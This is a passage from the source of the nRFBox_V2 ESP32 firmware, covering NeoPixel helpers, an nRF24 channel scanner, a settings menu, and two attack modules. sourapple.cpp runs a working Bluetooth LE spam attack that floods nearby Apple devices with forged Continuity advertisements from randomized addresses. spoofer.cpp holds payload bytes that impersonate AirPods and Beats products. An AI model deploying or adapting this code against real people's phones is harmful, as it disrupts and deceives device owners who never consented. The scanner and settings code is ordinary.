pixels.show(); 48 | } 49 | 50 | void flash(int numberOfFlashes, const std::vector& colors, const std::string& finalColour) { 51 | if (numberOfFlashes <= 0 || colors.empty()) { 52 | Serial.println("Invalid parameters for flash: Check numberOfFlashes or colors vector."); 53 | return; 54 | } 55 | 56 | for (int i = 0; i < numberOfFlashes; ++i) { 57 | for (const auto& color : colors) { 58 | setNeoPixelColour(color); 59 | delay(500); 60 | } 61 | } 62 | setNeoPixelColour(finalColour); 63 | } 64 | -------------------------------------------------------------------------------- /nRFBox_V2/neopixel.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | #ifndef NEOPIXEL_H 6 | #define NEOPIXEL_H 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | extern Adafruit_NeoPixel pixels; 13 | 14 | void neopixelSetup(); 15 | void neopixelLoop(); 16 | 17 | void setNeoPixelColour(const std::string& colour); 18 | void flash(int numberOfFlashes, const std::vector& colors, const std::string& finalColour); 19 | 20 | #endif // NEOPIXEL_H 21 | -------------------------------------------------------------------------------- /nRFBox_V2/scanner.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include // Include EEPROM library 7 | #include 8 | #include "scanner.h" 9 | 10 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 11 | extern Adafruit_NeoPixel pixels; 12 | 13 | #define CE 5 14 | #define CSN 17 15 | 16 | #define CHANNELS 64 17 | int channel[CHANNELS]; 18 | 19 | int line; 20 | char grey[] = " .:-=+*aRW"; 21 | 22 | #define _NRF24_CONFIG 0x00 23 | #define _NRF24_EN_AA 0x01 24 | #define _NRF24_RF_CH 0x05 25 | #define _NRF24_RF_SETUP 0x06 26 | #define _NRF24_RPD 0x09 27 | 28 | #define EEPROM_ADDRESS_SENSOR_ARRAY 2 29 | 30 | byte sensorArray[129]; 31 | 32 | unsigned long lastSaveTime = 0; 33 | const unsigned long saveInterval = 5000; 34 | 35 | byte getRegister(byte r) { 36 | byte c; 37 | digitalWrite(CSN, LOW); 38 | SPI.transfer(r & 0x1F); 39 | c = SPI.transfer(0); 40 | digitalWrite(CSN, HIGH); 41 | return c; 42 | } 43 | 44 | void setRegister(byte r, byte v) { 45 | digitalWrite(CSN, LOW); 46 | SPI.transfer((r & 0x1F) | 0x20); 47 | SPI.transfer(v); 48 | digitalWrite(CSN, HIGH); 49 | } 50 | 51 | void powerUp(void) { 52 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x02); 53 | delayMicroseconds(130); 54 | } 55 | 56 | void powerDown(void) { 57 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) & ~0x02); 58 | } 59 | 60 | void enable(void) { 61 | digitalWrite(CE, HIGH); 62 | } 63 | 64 | void disable(void) { 65 | digitalWrite(CE, LOW); 66 | } 67 | 68 | void setRX(void) { 69 | setRegister(_NRF24_CONFIG, getRegister(_NRF24_CONFIG) | 0x01); 70 | enable(); 71 | delayMicroseconds(100); 72 | } 73 | 74 | void scanChannels(void) { 75 | disable(); 76 | 77 | memset(channel, 0, sizeof(channel)); 78 | 79 | const int samplesPerChannel = 50; // Number of samples per channel to average 80 | 81 | for (int i = 0; i < CHANNELS; i++) { 82 | setRegister(_NRF24_RF_CH, (128 * i) / CHANNELS); 83 | 84 | for (int j = 0; j < samplesPerChannel; j++) { 85 | setRX(); 86 | delayMicroseconds(100); 87 | disable(); 88 | channel[i] += getRegister(_NRF24_RPD); // Add the RPD value (1 or 0) 89 | } 90 | 91 | // Average the accumulated values for this channel 92 | channel[i] = (channel[i] * 100) / samplesPerChannel; // Convert to percentage 93 | } 94 | } 95 | 96 | 97 | void outputChannels(void) { 98 | int norm = 0; 99 | 100 | // Find the maximum value in the channel array for normalization 101 | for (int i = 0; i < CHANNELS; i++) { 102 | if (channel[i] > norm) { 103 | norm = channel[i]; 104 | } 105 | } 106 | 107 | byte drawHeight = map(norm, 0, 64, 0, 64); 108 | 109 | // Update sensorArray with the new value (shift left for right-to-left movement) 110 | for (byte count = 126; count > 0; count--) { 111 | sensorArray[count] = sensorArray[count - 1]; 112 | } 113 | sensorArray[0] = drawHeight; 114 | 115 | u8g2.clearBuffer(); 116 | 117 | u8g2.drawLine(0, 0, 0, 63); 118 | u8g2.drawLine(127, 0, 127, 63); 119 | 120 | for (byte count = 0; count < 64; count += 10) { 121 | u8g2.drawLine(127, count, 122, count); // Right side markers 122 | u8g2.drawLine(0, count, 5, count); // Left side markers 123 | } 124 | 125 | for (byte count = 10; count < 127; count += 10) { 126 | u8g2.drawPixel(count, 0); 127 | u8g2.drawPixel(count, 63); 128 | } 129 | 130 | // Draw the graph moving right-to-left 131 | for (byte count = 0; count < 127; count++) { 132 | u8g2.drawLine(127 - count, 63, 127 - count, 63 - sensorArray[count]); 133 | setNeoPixelColour("purple"); 134 | } 135 | 136 | setNeoPixelColour("0"); 137 | 138 | u8g2.setFont(u8g2_font_ncenB08_tr); 139 | u8g2.setCursor(12, 12); 140 | u8g2.print("["); 141 | u8g2.print(norm); 142 | u8g2.print("]"); 143 | 144 | u8g2.sendBuffer(); 145 | } 146 | 147 | void loadPreviousGraph() { 148 | EEPROM.begin(128); 149 | for (byte i = 0; i < 128; i++) { 150 | sensorArray[i] = EEPROM.read(EEPROM_ADDRESS_SENSOR_ARRAY + i); 151 | } 152 | EEPROM.end(); 153 | } 154 | 155 | void saveGraphToEEPROM() { 156 | EEPROM.begin(128); 157 | for (byte i = 0; i < 128; i++) { 158 | EEPROM.write(EEPROM_ADDRESS_SENSOR_ARRAY + i, sensorArray[i]); 159 | } 160 | EEPROM.commit(); 161 | EEPROM.end(); 162 | } 163 | 164 | void scannerSetup() { 165 | Serial.begin(115200); 166 | 167 | esp_bt_controller_deinit(); 168 | esp_wifi_stop(); 169 | esp_wifi_deinit(); 170 | 171 | for (byte count = 0; count <= 128; count++) { 172 | sensorArray[count] = 0; 173 | } 174 | 175 | SPI.begin(18, 19, 23, 17); 176 | SPI.setDataMode(SPI_MODE0); 177 | SPI.setFrequency(16000000); 178 | SPI.setBitOrder(MSBFIRST); 179 | 180 | pinMode(CE, OUTPUT); 181 | pinMode(CSN, OUTPUT); 182 | 183 | disable(); 184 | 185 | powerUp(); 186 | setRegister(_NRF24_EN_AA, 0x0); 187 | setRegister(_NRF24_RF_SETUP, 0x0F); 188 | 189 | loadPreviousGraph(); 190 | } 191 | 192 | void scannerLoop() { 193 | scanChannels(); 194 | outputChannels(); 195 | 196 | // Save the graph to EEPROM every 5 seconds 197 | if (millis() - lastSaveTime > saveInterval) { 198 | saveGraphToEEPROM(); 199 | lastSaveTime = millis(); 200 | } 201 | } 202 | -------------------------------------------------------------------------------- /nRFBox_V2/scanner.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef scanner_H 7 | #define scanner_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "esp_bt.h" 14 | #include "esp_wifi.h" 15 | #include "neopixel.h" 16 | 17 | void scannerSetup(); 18 | void scannerLoop(); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /nRFBox_V2/setting.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include 8 | 9 | #include "setting.h" 10 | 11 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 12 | extern Adafruit_NeoPixel pixels; 13 | 14 | #define BUTTON_UP 26 15 | #define BUTTON_DOWN 33 16 | #define BUTTON_SELECT 27 17 | 18 | #define EEPROM_ADDRESS_NEOPIXEL 0 19 | #define EEPROM_ADDRESS_BRIGHTNESS 1 20 | 21 | int currentOption = 0; 22 | int totalOptions = 2; 23 | bool neoPixelActive = false; 24 | uint8_t oledBrightness = 100; 25 | 26 | bool buttonUpPressed = false; 27 | bool buttonDownPressed = false; 28 | bool buttonSelectPressed = false; 29 | 30 | void toggleOption(int option) { 31 | if (option == 0) { 32 | neoPixelActive = !neoPixelActive; 33 | EEPROM.write(EEPROM_ADDRESS_NEOPIXEL, neoPixelActive); 34 | EEPROM.commit(); 35 | Serial.print("NeoPixel is now "); 36 | Serial.println(neoPixelActive ? "Enabled" : "Disabled"); 37 | } else if (option == 1) { 38 | uint8_t brightnessPercent = map(oledBrightness, 0, 255, 0, 100); // Map to 0-100 39 | brightnessPercent += 10; // Increment brightness by 10% 40 | if (brightnessPercent > 100) brightnessPercent = 0; // Wrap around to 0 41 | oledBrightness = map(brightnessPercent, 0, 100, 0, 255); // Map back to 0-255 42 | 43 | u8g2.setContrast(oledBrightness); // Apply the brightness 44 | EEPROM.write(EEPROM_ADDRESS_BRIGHTNESS, oledBrightness); 45 | EEPROM.commit(); 46 | 47 | Serial.print("Brightness set to: "); 48 | Serial.print(brightnessPercent); 49 | Serial.println("%"); 50 | } 51 | } 52 | 53 | void handleButtons() { 54 | if (!digitalRead(BUTTON_UP)) { 55 | if (!buttonUpPressed) { 56 | buttonUpPressed = true; 57 | currentOption = (currentOption - 1 + totalOptions) % totalOptions; 58 | } 59 | } else { 60 | buttonUpPressed = false; 61 | } 62 | 63 | if (!digitalRead(BUTTON_DOWN)) { 64 | if (!buttonDownPressed) { 65 | buttonDownPressed = true; 66 | currentOption = (currentOption + 1) % totalOptions; 67 | } 68 | } else { 69 | buttonDownPressed = false; 70 | } 71 | 72 | if (!digitalRead(BUTTON_SELECT)) { 73 | if (!buttonSelectPressed) { 74 | buttonSelectPressed = true; 75 | toggleOption(currentOption); 76 | } 77 | } else { 78 | buttonSelectPressed = false; 79 | } 80 | } 81 | 82 | void displayMenu() { 83 | u8g2.clearBuffer(); 84 | 85 | // Draw menu header 86 | u8g2.setFont(u8g2_font_6x10_tf); 87 | u8g2.drawStr(0, 10, "Settings Menu"); 88 | 89 | // Draw menu options 90 | if (currentOption == 0) { 91 | u8g2.drawStr(0, 25, "> NeoPixel: "); 92 | } else { 93 | u8g2.drawStr(0, 25, " NeoPixel: "); 94 | } 95 | 96 | if (currentOption == 1) { 97 | u8g2.drawStr(0, 40, "> Brightness: "); 98 | } else { 99 | u8g2.drawStr(0, 40, " Brightness: "); 100 | } 101 | 102 | // Show current settings 103 | u8g2.setCursor(80, 25); 104 | u8g2.print(neoPixelActive ? "Enabled" : "Disabled"); 105 | 106 | u8g2.setCursor(80, 40); 107 | uint8_t brightnessPercent = map(oledBrightness, 0, 255, 0, 100); 108 | u8g2.print(brightnessPercent); 109 | u8g2.print("%"); 110 | 111 | u8g2.sendBuffer(); 112 | } 113 | 114 | void settingSetup() { 115 | Serial.begin(115200); 116 | 117 | // Initialize EEPROM 118 | EEPROM.begin(512); 119 | 120 | // Load settings from EEPROM 121 | neoPixelActive = EEPROM.read(EEPROM_ADDRESS_NEOPIXEL); 122 | oledBrightness = EEPROM.read(EEPROM_ADDRESS_BRIGHTNESS); 123 | 124 | if (oledBrightness > 255) oledBrightness = 128; // Ensure valid brightness 125 | u8g2.setContrast(oledBrightness); 126 | 127 | // Initialize buttons 128 | pinMode(BUTTON_UP, INPUT_PULLUP); 129 | pinMode(BUTTON_DOWN, INPUT_PULLUP); 130 | pinMode(BUTTON_SELECT, INPUT_PULLUP); 131 | } 132 | 133 | void settingLoop() { 134 | handleButtons(); 135 | displayMenu(); 136 | } 137 | -------------------------------------------------------------------------------- /nRFBox_V2/setting.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef setting_H 7 | #define setting_H 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | extern bool neoPixelActive; 14 | 15 | void settingSetup(); 16 | void settingLoop(); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /nRFBox_V2/sourapple.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "sourapple.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | std::string device_uuid = "00003082-0000-1000-9000-00805f9b34fb"; 13 | 14 | BLEAdvertising *Advertising; 15 | uint8_t packet[17]; 16 | 17 | #define MAX_LINES 8 18 | String lines[MAX_LINES]; 19 | int currentLine = 0; 20 | int lineNumber = 1; 21 | 22 | uint32_t delayMilliseconds = 1000; 23 | 24 | void updatedisplay() { 25 | u8g2.clearBuffer(); 26 | 27 | for (int i = 0; i < MAX_LINES; i++) { 28 | u8g2.setCursor(0, (i + 1) * 12); 29 | u8g2.print(lines[i]); 30 | } 31 | 32 | u8g2.sendBuffer(); 33 | Advertising->stop(); 34 | } 35 | 36 | void addLineToDisplay(String newLine) { 37 | for (int i = 0; i < MAX_LINES - 1; i++) { 38 | lines[i] = lines[i + 1]; 39 | } 40 | lines[MAX_LINES - 1] = newLine; 41 | 42 | updatedisplay(); 43 | } 44 | 45 | void displayAdvertisementData() { 46 | String lineStr = String(lineNumber) + ": "; 47 | lineNumber++; 48 | // Convert the advertisement data to a readable string format 49 | //String dataStr = "Type: 0x"; 50 | String dataStr = "0x"; 51 | dataStr += String(packet[1], HEX); 52 | //dataStr += ", CompID: 0x"; 53 | dataStr += ",0x"; 54 | dataStr += String(packet[2], HEX); 55 | dataStr += String(packet[3], HEX); 56 | //dataStr += ", ActType: 0x"; 57 | dataStr += ",0x"; 58 | dataStr += String(packet[7], HEX); 59 | 60 | addLineToDisplay(lineStr + dataStr); 61 | 62 | } 63 | 64 | BLEAdvertisementData getOAdvertisementData() { 65 | BLEAdvertisementData advertisementData = BLEAdvertisementData(); 66 | uint8_t i = 0; 67 | 68 | packet[i++] = 17 - 1; // Packet Length 69 | packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) 70 | packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) 71 | packet[i++] = 0x00; // ... 72 | packet[i++] = 0x0F; // Type 73 | packet[i++] = 0x05; // Length 74 | packet[i++] = 0xC1; // Action Flags 75 | const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 }; 76 | packet[i++] = types[rand() % sizeof(types)]; // Action Type 77 | esp_fill_random(&packet[i], 3); // Authentication Tag 78 | i += 3; 79 | packet[i++] = 0x00; // ??? 80 | packet[i++] = 0x00; // ??? 81 | packet[i++] = 0x10; // Type ??? 82 | esp_fill_random(&packet[i], 3); 83 | 84 | advertisementData.addData(std::string((char *)packet, 17)); 85 | return advertisementData; 86 | } 87 | 88 | void sourappleSetup() { 89 | 90 | u8g2.setFont(u8g2_font_profont11_tf); 91 | 92 | BLEDevice::init(""); 93 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_DEFAULT, ESP_PWR_LVL_P9); //This should increase transmitting power to 9dBm 94 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9); //Not sure if this works with NimBLE 95 | esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_SCAN , ESP_PWR_LVL_P9); 96 | 97 | BLEServer *pServer = BLEDevice::createServer(); 98 | Advertising = pServer->getAdvertising(); 99 | 100 | esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69}; 101 | Advertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM); 102 | 103 | 104 | } 105 | 106 | void sourappleLoop() { 107 | 108 | esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 109 | for (int i = 0; i < 6; i++) { 110 | dummy_addr[i] = random(256); 111 | if (i == 0) { 112 | dummy_addr[i] |= 0xF0; 113 | } 114 | } 115 | BLEAdvertisementData oAdvertisementData = getOAdvertisementData(); 116 | 117 | Advertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM); 118 | Advertising->addServiceUUID(device_uuid); 119 | Advertising->setAdvertisementData(oAdvertisementData); 120 | 121 | Advertising->setMinInterval(0x20); 122 | Advertising->setMaxInterval(0x20); 123 | Advertising->setMinPreferred(0x20); 124 | Advertising->setMaxPreferred(0x20); 125 | 126 | Advertising->start(); 127 | 128 | delay(40); 129 | displayAdvertisementData(); 130 | 131 | } 132 | -------------------------------------------------------------------------------- /nRFBox_V2/sourapple.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef sourapple_H 7 | #define sourapple_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "neopixel.h" 15 | 16 | void sourappleSetup(); 17 | void sourappleLoop(); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /nRFBox_V2/spoofer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "spoofer.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | extern Adafruit_NeoPixel pixels; 11 | 12 | BLEAdvertising *pAdvertising; 13 | std::string devices_uuid = "00003082-0000-1000-9000-00805f9b34fb"; 14 | 15 | const int deviceTypeNextPin = 27; 16 | const int deviceTypePrevPin = 25; 17 | const int advTypeNextPin = 33; 18 | //const int advTypePrevPin = 27; 19 | const int advControlPin = 26; 20 | 21 | uint32_t delayMillisecond = 1000; 22 | unsigned long lastDebounceTimeNext = 0; 23 | unsigned long lastDebounceTimePrev = 0; 24 | unsigned long lastDebounceTimeAdvNext = 0; 25 | unsigned long lastDebounceTimeAdvPrev = 0; 26 | 27 | int lastButtonStateNext = LOW; 28 | int lastButtonStatePrev = LOW; 29 | int lastButtonStateAdvNext = LOW; 30 | int lastButtonStateAdvPrev = LOW; 31 | 32 | 33 | unsigned long lastDebounceTime = 0; 34 | unsigned long debounceDelay = 500; 35 | 36 | bool isAdvertising = true; 37 | 38 | int scanTime = 5; 39 | int deviceType = 1; 40 | int delaySeconds = 1; 41 | int advType = 1; 42 | int attack_state = 1; 43 | int device_choice = 0; 44 | int device_index = 0; 45 | 46 | // Payload data 47 | const uint8_t DEVICES[][31] = { 48 | // Airpods 49 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 50 | // Airpods Pro 51 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 52 | // Airpods Max 53 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 54 | // Airpods Gen 2 55 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 56 | // Airpods Gen 3 57 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 58 | // Airpods Pro Gen 2 59 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 60 | // Power Beats 61 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 62 | // Power Beats Pro 63 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 64 | // Beats Solo Pro 65 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 66 | // Beats Studio Buds 67 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 68 | // Beats Flex 69 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 70 | // Beats X 71 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 72 | // Beats Solo 3 73 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 74 | // Beats Studio 3 75 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 76 | // Beats Studio Pro 77 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 78 | // Betas Fit Pro 79 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 80 | // Beats Studio Buds Plus 81 | {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, 82 | }; 83 | 84 | BLEAdvertisementData getAdvertismentData() { 85 | BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); 86 | 87 | if (device_choice == 0) { 88 | oAdvertisementData.addData(std::string((char*)DEVICES[device_index], 31)); 89 | } 90 | 91 | 92 | int adv_type_choice = random(3); 93 | if (adv_type_choice == 0) { 94 | pAdvertising->setAdvertisementType(ADV_TYPE_IND); 95 | } else if (adv_type_choice == 1) { 96 | pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); 97 | } else { 98 | pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); 99 | } 100 | 101 | return oAdvertisementData; 102 | } 103 | 104 | void updateDisplay() { 105 | u8g2.clearBuffer(); 106 | 107 | // Display device type 108 | u8g2.setFont(u8g2_font_profont11_tf); 109 | u8g2.drawStr(0, 10, "Device:"); 110 | int x = 0; 111 | int y = 25; 112 | 113 | 114 | switch (deviceType) { 115 | case 1: 116 | u8g2.drawStr(x, y, "[ Airpods ]"); 117 | break; 118 | case 2: 119 | u8g2.drawStr(x, y, "[ Airpods Pro ]"); 120 | break; 121 | case 3: 122 | u8g2.drawStr(x, y, "[ Airpods Max ]"); 123 | break; 124 | case 4: 125 | u8g2.drawStr(x, y, "[ Airpods Gen 2 ]"); 126 | break; 127 | case 5: 128 | u8g2.drawStr(x, y, "[ Airpods Gen 3 ]"); 129 | break; 130 | case 6: 131 | u8g2.drawStr(x, y, "[ Airpods Gen 2 ]"); 132 | break; 133 | case 7: 134 | u8g2.drawStr(x, y, "[ PowerBeats ]"); 135 | break; 136 | case 8: 137 | u8g2.drawStr(x, y, "[ PowerBeats Pro ]"); 138 | break; 139 | case 9: 140 | u8g2.drawStr(x, y, "[ Beats Solo Pro ]"); 141 | break; 142 | case 10: 143 | u8g2.drawStr(x, y, "[ Beats Buds ]"); 144 | break; 145 | case 11: 146 | u8g2.drawStr(x, y, "[ Beats Flex ]"); 147 | break; 148 | case 12: 149 | u8g2.drawStr(x, y, "[ BeatsX ]"); 150 | break; 151 | case 13: 152 | u8g2.drawStr(x, y, "[ Beats Solo3 ]"); 153 | break; 154 | case 14: 155 | u8g2.drawStr(x, y, "[ Beats Studio3 ]"); 156 | break; 157 | case 15: 158 | u8g2.drawStr(x, y, "[ Beats StudioPro ]"); 159 | break; 160 | case 16: 161 | u8g2.drawStr(x, y, "[ Beats FitPro ]"); 162 | break; 163 | case 17: 164 | u8g2.drawStr(x, y, "[ Beats BudsPlus ]"); 165 | break; 166 | default: 167 | u8g2.drawStr(x, y, "[ Airpods ]"); 168 | break; 169 | } 170 | 171 | u8g2.drawStr(0, 45, "Adv Type:"); 172 | 173 | switch (advType) { 174 | case 1: 175 | u8g2.drawStr(60, 45, "IND"); 176 | break; 177 | case 2: 178 | u8g2.drawStr(60, 45, "DIRECT HIGH"); 179 | break; 180 | case 3: 181 | u8g2.drawStr(60, 45, "SCAN"); 182 | break; 183 | case 4: 184 | u8g2.drawStr(60, 45, "NONCONN"); 185 | break; 186 | case 5: 187 | u8g2.drawStr(60, 45, "DIRECT LOW"); 188 | break; 189 | } 190 | 191 | u8g2.drawStr(0, 60, "Advertising:"); 192 | u8g2.setCursor(80, 60); 193 | u8g2.print(isAdvertising ? "Disable" : "Active"); 194 | 195 | u8g2.sendBuffer(); 196 | } 197 | 198 | void Airpods() { 199 | device_choice = 0; 200 | device_index = 0; 201 | attack_state = 1; 202 | } 203 | 204 | void Airpods_pro() { 205 | device_choice = 0; 206 | device_index = 1; 207 | attack_state = 1; 208 | } 209 | 210 | void Airpods_Max() { 211 | device_choice = 0; 212 | device_index = 2; 213 | attack_state = 1; 214 | } 215 | 216 | void Airpods_Gen_2() { 217 | device_choice = 0; 218 | device_index = 3; 219 | attack_state = 1; 220 | } 221 | 222 | void Airpods_Gen_3() { 223 | device_choice = 0; 224 | device_index = 4; 225 | attack_state = 1; 226 | } 227 | 228 | void Airpods_Pro_Gen_2() { 229 | device_choice = 0; 230 | device_index = 5; 231 | attack_state = 1; 232 | } 233 | 234 | void Power_Beats() { 235 | device_choice = 0; 236 | device_index = 6; 237 | attack_state = 1; 238 | } 239 | 240 | void Power_Beats_Pro() { 241 | device_choice = 0; 242 | device_index = 7; 243 | attack_state = 1; 244 | } 245 | 246 | void Beats_Solo_Pro() { 247 | device_choice = 0; 248 | device_index = 8; 249 | attack_state = 1; 250 | } 251 | 252 | void Beats_Studio_Buds() { 253 | device_choice = 0; 254 | device_index = 9; 255 | attack_state = 1; 256 | } 257 | 258 | void Beats_Flex() { 259 | device_choice = 0; 260 | device_index = 10; 261 | attack_state = 1; 262 | } 263 | 264 | void Beats_X() { 265 | device_choice = 0; 266 | device_index = 11; 267 | attack_state = 1; 268 | 269 | } 270 | 271 | void Beats_Solo_3() { 272 | device_choice = 0; 273 | device_index = 12; 274 | attack_state = 1; 275 | 276 | } 277 | 278 | void Beats_Studio_3() { 279 | device_choice = 0; 280 | device_index = 13; 281 | attack_state = 1; 282 | 283 | } 284 | 285 | void Beats_Studio_Pro() { 286 | device_choice = 0; 287 | device_index = 14; 288 | attack_state = 1; 289 